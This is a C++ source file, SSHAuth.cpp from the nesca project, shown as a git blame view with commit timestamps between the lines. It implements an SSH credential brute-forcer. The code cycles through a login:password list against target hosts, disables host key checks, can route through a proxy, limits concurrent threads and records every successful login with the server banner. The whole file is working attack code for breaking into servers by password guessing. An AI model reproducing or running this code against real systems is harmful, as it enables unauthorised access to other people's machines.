nesca/SSHAuth.cpp

214 lines
6.1 KiB
C++
Raw Normal View History

2015-03-23 13:54:40 +00:00
#include "SSHAuth.h"
#include "FileUpdater.h"
2015-03-23 13:54:40 +00:00
2015-03-27 13:38:53 +00:00
int _sshConnect(const char *user, const char *pass, const char *host, int port) {
CURL *curl = curl_easy_init();
2015-03-23 13:54:40 +00:00
char hostStr[128] = {0};
strcpy(hostStr, user);
strcat(hostStr, "@");
strcat(hostStr, host);
2015-03-27 13:38:53 +00:00
int sshTimeout = gTimeOut + 1;
2015-03-23 13:54:40 +00:00
2015-03-27 13:38:53 +00:00
if (curl)
2015-03-23 13:54:40 +00:00
{
2015-04-30 19:21:12 +00:00
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
2015-03-27 13:38:53 +00:00
curl_easy_setopt(curl, CURLOPT_URL, host);
curl_easy_setopt(curl, CURLOPT_PORT, port);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
int proxyPort = std::atoi(gProxyPort);
if(strlen(gProxyIP) != 0 && (proxyPort > 0 && proxyPort < 65535)) {
curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP);
curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort);
2015-04-30 19:21:12 +00:00
} else curl_easy_setopt(curl, CURLOPT_PROXY, "");
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, sshTimeout);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, sshTimeout);
2015-03-27 13:38:53 +00:00
curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 1L);
2015-03-23 13:54:40 +00:00
2015-03-27 13:38:53 +00:00
int res = curl_easy_perform(curl);
2015-04-30 19:21:12 +00:00
if (res != CURLE_OK) {
curl_easy_cleanup(curl);
return -2;
}
socket_t sock = -1;
res = curl_easy_getinfo(curl, CURLINFO_LASTSOCKET, &sock);
2015-03-27 13:38:53 +00:00
if(sock != -1) {
ssh_session ssh_session = ssh_new();
if (ssh_session == NULL)
{
ssh_free(ssh_session);
curl_easy_cleanup(curl);
return -1;
};
2015-04-30 19:21:12 +00:00
ssh_options_set(ssh_session, SSH_OPTIONS_HOST, hostStr);
2015-03-27 13:38:53 +00:00
ssh_options_set(ssh_session, SSH_OPTIONS_STRICTHOSTKEYCHECK, 0);
ssh_options_set(ssh_session, SSH_OPTIONS_GSSAPI_DELEGATE_CREDENTIALS, 0);
ssh_options_set(ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout);
//Fails to work on libssh-4.5 https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=688700
res = ssh_options_set(ssh_session, SSH_OPTIONS_FD, &sock);
2015-04-30 19:21:12 +00:00
2015-03-27 13:38:53 +00:00
res = ssh_connect(ssh_session);
if (res != SSH_OK) //Offline
{
ssh_disconnect(ssh_session);
ssh_free(ssh_session);
curl_easy_cleanup(curl);
return -2;
}
else
{
res = ssh_userauth_password(ssh_session, NULL, pass);
if (res != SSH_AUTH_SUCCESS)
{
ssh_disconnect(ssh_session);
ssh_free(ssh_session);
curl_easy_cleanup(curl);
return -1;
};
};
ssh_disconnect(ssh_session);
ssh_free(ssh_session);
} else {
stt->doEmitionRedFoundData("[SSH]Socket = -1 " + QString(host) + ":" + QString::number(port));
}
2015-03-23 13:54:40 +00:00
}
2015-03-27 13:38:53 +00:00
2015-03-23 13:54:40 +00:00
++ssh;
return 0;
}
2015-08-07 22:37:28 +00:00
int check_ssh_pass(const int rowIndex, const char *user, const char *pass,
2015-03-27 13:38:53 +00:00
const char *userPass, const char *host, int port,
std::string *buffer, const char *banner) {
2015-08-07 22:37:28 +00:00
int res = _sshConnect(user, pass, host, port);
2015-03-27 13:38:53 +00:00
2015-03-23 13:54:40 +00:00
if(res == 0)
{
2015-08-07 22:37:28 +00:00
if (rowIndex == -1) {
nesca_3::addBARow(QString(host) + ":" + QString::number(port), QString(userPass) + "@" + QString(host), "OK");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(userPass) + "@" + QString(host), "OK");
}
2015-03-23 13:54:40 +00:00
buffer->append(userPass);
buffer->append("@");
buffer->append(host);
buffer->append("|+|");
buffer->append(banner);
return 0;
};
2015-03-27 13:38:53 +00:00
2015-03-23 13:54:40 +00:00
return res;
}
2015-03-27 13:38:53 +00:00
int SSHBrute(const char* host, int port, std::string *buffer, const char *banner) {
2015-03-23 13:54:40 +00:00
char login[32] = {0};
char pass[32] = {0};
char temp[64] = {0};
char *ptr1 = 0;
int res = -1;
2015-08-07 22:37:28 +00:00
int rowIndex = -1;
int passCounter = 0;
2015-03-23 13:54:40 +00:00
for(int i = 0; i < MaxSSHPass; ++i)
{
if(!globalScanFlag) break;
strcpy(temp, sshlpLst[i]);
ptr1 = strstr(temp, ":");
if (ptr1 == NULL) {
2015-03-27 13:38:53 +00:00
stt->doEmitionRedFoundData("[SSH]Wrong format: " + QString(temp));
return -1;
}
2015-03-27 13:38:53 +00:00
strncpy(login, temp, ptr1 - temp);
2015-03-23 13:54:40 +00:00
strcpy(pass, ptr1 + 1);
2015-08-07 22:37:28 +00:00
if (BALogSwitched) {
if (rowIndex == -1) {
rowIndex = nesca_3::addBARow(QString(host) + ":" + QString::number(port),
QString(login) + ":" + QString(pass),
QString::number((passCounter / (double)(MaxSSHPass)) * 100).mid(0, 4) + "%");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
QString::number((passCounter / (double)(MaxSSHPass)) * 100).mid(0, 4) + "%");
}
}
else { rowIndex = -1; }
++passCounter;
res = check_ssh_pass(rowIndex, login, pass, temp, host, port, buffer, banner);
2015-12-08 16:53:54 +00:00
//ZeroMemory(login, sizeof(login));
//ZeroMemory(pass, sizeof(pass));
//ZeroMemory(temp, sizeof(temp));
login[0] = 0;
pass[0] = 0;
temp[0] = 0;
2015-03-23 13:54:40 +00:00
if(res == 0)
{
2015-08-07 22:37:28 +00:00
if (i == 0) {
if (rowIndex == -1) {
nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAILHIT");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "FAILHIT");
}
return -2; //Failhit
}
2015-03-23 13:54:40 +00:00
return 1;
}
else if(res == -2)
2015-08-07 22:37:28 +00:00
{
if (rowIndex == -1) {
nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAIL");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
}
2015-03-23 13:54:40 +00:00
return -2;
};
Sleep(500);
2015-08-07 22:37:28 +00:00
};
if (rowIndex == -1) {
nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAIL");
}
else {
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
}
2015-03-23 13:54:40 +00:00
return -1;
}
int SSHAuth::SSHLobby(const char *ip, int port, std::string *buffer)
{
2015-04-02 12:33:49 +00:00
if(gMaxBrutingThreads > 0) {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
2015-04-30 19:21:12 +00:00
std::string sshBanner;
Connector con;
con.nConnect(ip, port, &sshBanner);
if (strlen(sshBanner.c_str()) > 0)
2015-04-02 12:33:49 +00:00
{
2015-04-04 12:43:22 +00:00
++BrutingThrds;
2016-01-24 19:03:28 +00:00
stt->doEmitionUpdateArc(gTargets);
2015-04-30 19:21:12 +00:00
int res = SSHBrute(ip, port, buffer, sshBanner.c_str());
2015-04-04 12:43:22 +00:00
--BrutingThrds;
2015-04-30 19:21:12 +00:00
2015-04-02 12:33:49 +00:00
return res;
2015-04-30 19:21:12 +00:00
}
}
return -1;
2015-03-23 13:54:40 +00:00
}